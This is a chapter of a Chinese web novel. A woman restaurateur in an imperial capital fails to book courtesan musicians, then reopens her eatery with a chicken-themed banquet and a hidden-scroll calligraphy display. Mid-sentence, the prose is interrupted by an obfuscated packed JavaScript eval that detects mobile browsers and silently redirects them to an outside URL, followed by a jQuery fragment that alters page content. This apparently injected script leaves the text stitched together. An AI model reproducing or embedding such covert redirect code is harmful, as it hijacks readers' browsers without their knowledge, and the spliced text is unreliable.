“罗掌柜与我深恩，逢莺自当以义报之。”她低头垂眸，“况是我这样的身份，您不嫌弃便是逢莺的荣幸了。” 她出身秦楼楚馆，虽有才名傍身，多受召侑宴，出入公府豪门，但说到底还是无权无势。 遇上寻常女郎，她还能宽慰自己生活优渥，真对上罗姈这样的世家千金，她总是打心底里觉得低人一头。 逢莺将姿态放得很低，罗姈定定望着她的眼睛，未有半分轻视：“方才你也听到了，我还遭了教坊的嫌呢，不过就算他们来我也不觉得荣幸，银货两讫的事儿，还拜高踩低上了。”想起来罗姈就忍不住发笑。 “你来也是银货两讫。”罗姈摆摆手，不愿提什么报恩不报恩的，三言两语将此事定下。 助人为乐是美德，求回报还算什么美德。 二人心意一通，满心欢喜地去太平坊找假母。 西市太平坊有三曲，北曲倚色卖笑，中曲才情动人，南曲最有脸面，里头聚集着长安城里所有色艺双绝的名妓。她们独居阁楼之上，门前各有规矩，并不是随意可见。 那日若非邹洪吃酒莽撞，在太平坊里逢莺断吃不了这个亏。 因南曲掌事的假母樊妈妈，是个十足的伶俐人。 这不，听闻逢莺带进来一个女郎，樊妈妈立马亲自去迎。 “这位是——” 樊妈妈年逾四十，还依稀看得到盛年时的绝色光景，纵使见了一路美人，罗姈都不由恍惚了一下。 逢莺在旁边正想介绍她的身份，被罗姈轻轻按下：“樊妈妈，在下是百味坊的掌柜，姓罗。” “百味坊……”樊妈妈口中念叨着，却实在想不起来京城里还有这么一家店面。 逢莺补充：“长乐街马上新开的食店，罗掌柜想在十五开业那日请一队乐舞。” 樊妈妈柳眉一挑，红唇轻勾：“这事儿倒新鲜。” 太平坊不是没接过外演，可还没有商贾敢把这种档次的生意做到她们南曲头上来。 她眸光微闪，不无遗憾：“只是可惜，十五那日恰是成王眉寿，世子爷已请了逢莺贺寿，恐怕去不得了。” “成王寿辰？”逢莺颦眉，她怎么不知道呢？ “午时你去燕云楼应召那晌儿，我替你接的。”樊妈妈一脸歉意，“真是赶了巧了，对不住罗掌柜。” 逢莺又问：“那艳君她们得闲……” “都要去。”樊妈妈一锤定音。 罗姈肩头一垮，顿感无力：“缘是不巧，那便算了。” 待人失魂落魄走后，逢莺拉住樊妈妈：“妈妈，成王世子少听琵琶，这次怎么带连我了？” “贵人的心思，我们怎么猜得到。”樊妈妈眼梢一耷，掩住稍纵即逝的精光。 “方才那罗掌柜也是贵人，”怕妈妈错眼，逢莺悄声告知，“她是顾将军的夫人。” “将军夫人？”樊妈妈神色不变，“那也无法子，成王世子已下了帖子，难道要回绝世子爷不成？” 逢莺乖乖噤声。 樊妈妈回到自己的阁楼，敛下思绪，吃了口茶，不紧不慢地打开世子请帖。 上面根本没有逢莺，不过没关系，她自有法子把人塞进去。 至于去给食店开业弹彩？ 开玩笑，又不是燕云楼那样的背景，真去了没得折了姑娘身价。 与此相比，情愿白走一趟王府宴席。 …… 腊月十五，大雪初歇，一切都是万象更新的样子。 舞龙舞狮的队伍从长乐街尾走到长乐街头，鞭炮喧阗，锣鼓齐鸣，在一片热闹欢腾中，百味坊终于重新开业了。 小春站在新店门口支着腰，笑容满面地对乌泱泱的人群大声宣布：“诸位客官，百味食店开张半价酬宾，今日入店享宴者仅需三钱！” 什么？一个人就要三钱银子？ 三钱银子都够在其他店子吃上半本食单了。 有这银子什么吃不起啊，原本围观的群众纷纷色变，甩袖遁走。 从门庭若市到门可罗雀只在一瞬。 可怜招揽一番最后仅有六位食客跟着小春入了门。 掀起暖帘，入目是一条狭长的甬道，两边墙上各挂四只瓷盘装饰。 左手“梅兰竹菊”，右手“鸡鸭鱼肉”，顶灯照耀下，盘上画作栩栩如生，惟妙惟肖。 “好雅致的心思，于食具上作画还是头一次见，有异趣！”一人凑近看，不由赞叹，“这兰花……颇有吴生之风啊。” 小春转过头，笑语盈盈：“大人好眼力，这些画正是出自吴长傲先生之手。” “什么？”众人齐呼，“吴生真迹？” 吴长傲才华惊世，一画千金难求，偶幸观览一次都能作谈资在各路飨宴上显摆半个月了，而这小小食店内竟然随便就挂着八幅。 这帮人这下子饭食也不想了，一个个扒在墙边，似要将瓷盘盯出个洞。 最先辨画的那人又好似发现了不得了的东西，疾步行至尽头：“这儿还有吴生的字。” 众人目光陡转，内廊尽处赫然挂着一副大字，上书—— 「人生何所念，百味一锅出。」 大家又纷纷涌上前去观摩书法，一人言之凿凿：“瞧这一笔飞白，疾风落叶，绝是吴生手笔错不了！” “还用你说，这底下的印盖得真真儿的。我叔伯家就有一副吴生的画，落款跟这一模一样。” 众人七嘴八舌地讨论起来，有机敏之人已拉住小春，悄声问：“这些……店家是从何处购得？抑或是店家识得吴生？可否引荐一二……” 小春看着对方发亮的眼睛，后退一步，掀开右面竹帘：“大人想知，何不入内亲自问我们娘子？” 素指拂过，悬系的铜铃发出一声轻灵的脆响，将激动的六位食客引入室内。 靴履一及内室，众人的心骤然沉静下来。 举目端量，松石绿竹掩映之间，可谓一步一景，行走此间，仿佛于闹市中闯入隐秘的世外桃源，脱去俗韵，涤荡神魄。 大堂之中，错落摆着五条矮几，几上供着怒放的水仙，由炭火烘得满屋浓香。 几下摆着蒲团，颇有一念修性，坐而论道的意思。 而矮几正对面竟是一个开放观览的厨房，靠着北墙，案面灶台全都一览无余。 脱去金银，斫雕为朴，却又独有质韵。 这哪里是食店，分明是雅苑。 众人一时为新奇所摄，停下脚步，小春从旁引导才得以坐下。 大家依言跽坐于蒲团之上，有人玩笑：“店家这是要我们拾古仪啊。” 还真是，坐在这蒲团上比坐在凳子上，脊背不自觉板正多了。 六个人占了三张桌子，其中一人拿起桌上摆着的木牌，不禁皱眉：“不可与鸡知？” 大家纷纷看向自己那张，也都写得一样。 在座都是饱学之士，却对这谜面百思不得其解。 就在此时，罗姈终于登场。 看见食客们，她却失落起来。非是嫌人少，而是…… “诸位今日前来捧场，罗姈感激不尽。” “罗掌柜说得哪里话，断了这口饭，大家都念得紧呢。” 是了，这六位食客不是别人，都是原来青龙大街的熟客。凡今日得闲的，都被易礼薅了来。 也就是说，今日开业没有一位新客光顾。 “哎，罗掌柜，你那门口摆的吴生的画，何处可购？介绍一下啊！”还有人惦念着吴长傲的大作。 同桌捅了捅他的胳膊：“呆子！看那字还瞧不出么，分明是罗掌柜同人家有私谊，你就甭打听了，人画圣岂会搭理你。” 罗姈望向就坐在一旁的易礼，神秘一笑：“这个嘛……确实不便告知，不过大家以后还能经常在小店看到吴生的新作。” 易礼清咳两下，快速揭过话题：“罗掌柜，今日有什么好菜啊？” “鸡。” “没了？” “没了。” 罗姈示意大家看向桌上木牌：“不日前我想起一首幼年读过的诗，诗文曰：‘养鸡纵鸡食，鸡肥乃烹之。主人计固佳，不可与鸡知[1]。’我今日这席面主题，亦是‘不可与鸡知’。” 说得大家愈发好奇了，仰头等着罗姈下文。 “开业心选宴，诸位可各选鸡的一部分，我将其烹制成肴，无论多少种，百味坊保证绝不重样。凡是重了，或我无能，银子皆退。” 马上有人反应—— “我要鸡腿！” “我要鸡翅！” …… 罗姈手向下压：“一个一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464425|185458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来，只有两口灶，先做这两道。” 这些都是意料之中的，小春将准备好的食材摆出来，罗姈起锅生火，准备就在食客们的眼前大展身手。 她早就想好了，鸡腿做白切，鸡翅红烧做煲。 小春又转身去后厨端出一锅鸡汤，架在左边灶台。 罗姈瞧了瞧火候，当即浇了一碗米酒提鲜，厚厚油封被破开一个小口，香气趁这机会窜逃出去，在食客们的鼻尖跑了个来回。 “好香！”易礼忍不住多吸两口。 “诶你别抢我的呀。”旁边人急了，探头猛嗅。 光是闻味儿，大家就馋得不行。 罗姈掩唇而笑：“这汤还要炖上一刻，稍安勿躁。” 说罢转头准备鸡翅煲，秋油三匙，黄酒一匙，再加入一大匙她自制的菽酱搅和开，那边小春亦将玉米、香蕈、胡萝卜切好。 过水后，在锅内放一点底油，将鸡翅煸至两面金黄，加入葱姜同炒，再放入秘制料汁翻炒均匀，待到酱香浓郁后，放入配菜，最后用滚水没过食材焖煮之。 这厢腾过手，罗姈转身处理白切鸡。 盛出一半鸡汤，小春马上投入昨夜冻好的冰，罗姈刚将三只鸡放下去浸泡，马上有食客高声道：“罗掌柜，这是什么说法？给我们喝冷鸡汤？” 罗姈耐心解释：“不是鸡汤，是白切鸡。” “白切鸡？”大家都没听过这样的做法。 易礼：“等着吃就是了，罗掌柜什么时候让我们失望过。” 都是老熟客了，众人深以为然，个个乖乖坐着，抻长了脖子往灶上瞧。 时辰到了，罗姈最后给鸡做了组“精油按摩”，随后将鸡腿斩下，三只鸡，六个腿，刚好一人一只。 小春取出精心准备的食具，硕大的白瓷盘上，胡乱涂了几笔颜色，刚好像极了公鸡靓丽的尾羽。 “这……” 看见血红的骨头，有人还在犹疑，易礼已经毫不犹豫地咬下一大口。 鸡皮脆爽，鸡肉鲜嫩，皮爽肉滑。皮肉之间还有一层晶莹的肉冻，保有鸡最纯真的原汁本味，鲜美异常，让人不由击节。 这简直是他们这辈子吃过最好吃最鲜美的鸡！ 小春又端来一份蘸料，取之食用，又是别样风味。 几块下去，人手一只孤零零的骨头架子，眼巴巴地望着罗姈——手里的鸡子。 易礼代表众人发言：“罗娘子，再切点儿吧。” “今日白切只有鸡腿，若是都切了，后头的鸡子滋味便享不到了。” 当然还要吊着他们的胃口，若是今日给他们吃美了吃腻了，后头拿什么再诱人来。 灶上的鸡翅煲也差不多了，收净汤汁，撒上香葱、芝麻，罗姈分盛出六小碗，亲自端过去。 很快又是一圈风卷残云，有人将鸡骨嗦了又嗦，最后才看见碗底图案，又是寥寥数笔，就勾勒出一个似鸡冠似红云的的写意画。 若说菜肴的品质是美味的基础，那么辉映协调的器皿则更添一份味外之美。 要是能再辅以雅乐，营造出相得益彰的氛围，便能让食客彻底沉浸其中，无法忘怀。 可惜了……罗姈不由遗憾。 新一轮点菜，易礼还是忘不了白切鸡的美味，他露出一个狡猾的笑：“罗掌柜，我要吃鸡身子。” 他心想，那白切鸡剩的身肉那么多，这下总能得手了吧。 罗姈看透了他的心思，粲然一笑：“刚好，我还煲了一锅鸡汤，就是用的鸡身子。” “许博士，您呢？” 虽然之前教坊的事许博士最终没能牵上线，不过这并没有影响到他与罗姈的关系，所以他也来捧场了。 许博士腼腆笑笑：“鸡爪可以吗？” 其他人惊异地看着他，只有罗姈神色如常，还赞道：“您很会吃呢。” 他入仕前家境贫寒，吃不起肉，只有拣人家不要的蹄子、爪子啃，那时候觉得特别美味，现在想吃都吃不到了，他想罗娘子定能做得出来。 然而就在此时，坊外响起敲门声，罗姈的心也跟着颤了一下，难道说……终于来了新客？ 小春忙赶了去，不一会儿，铜铃轻摇，小春探头：“娘子，不是客人。” 失落再度从罗姈心头划过。 小春侧身礼让，隔着朦胧的竹帘，露出一角青纱：“是逢莺娘子。”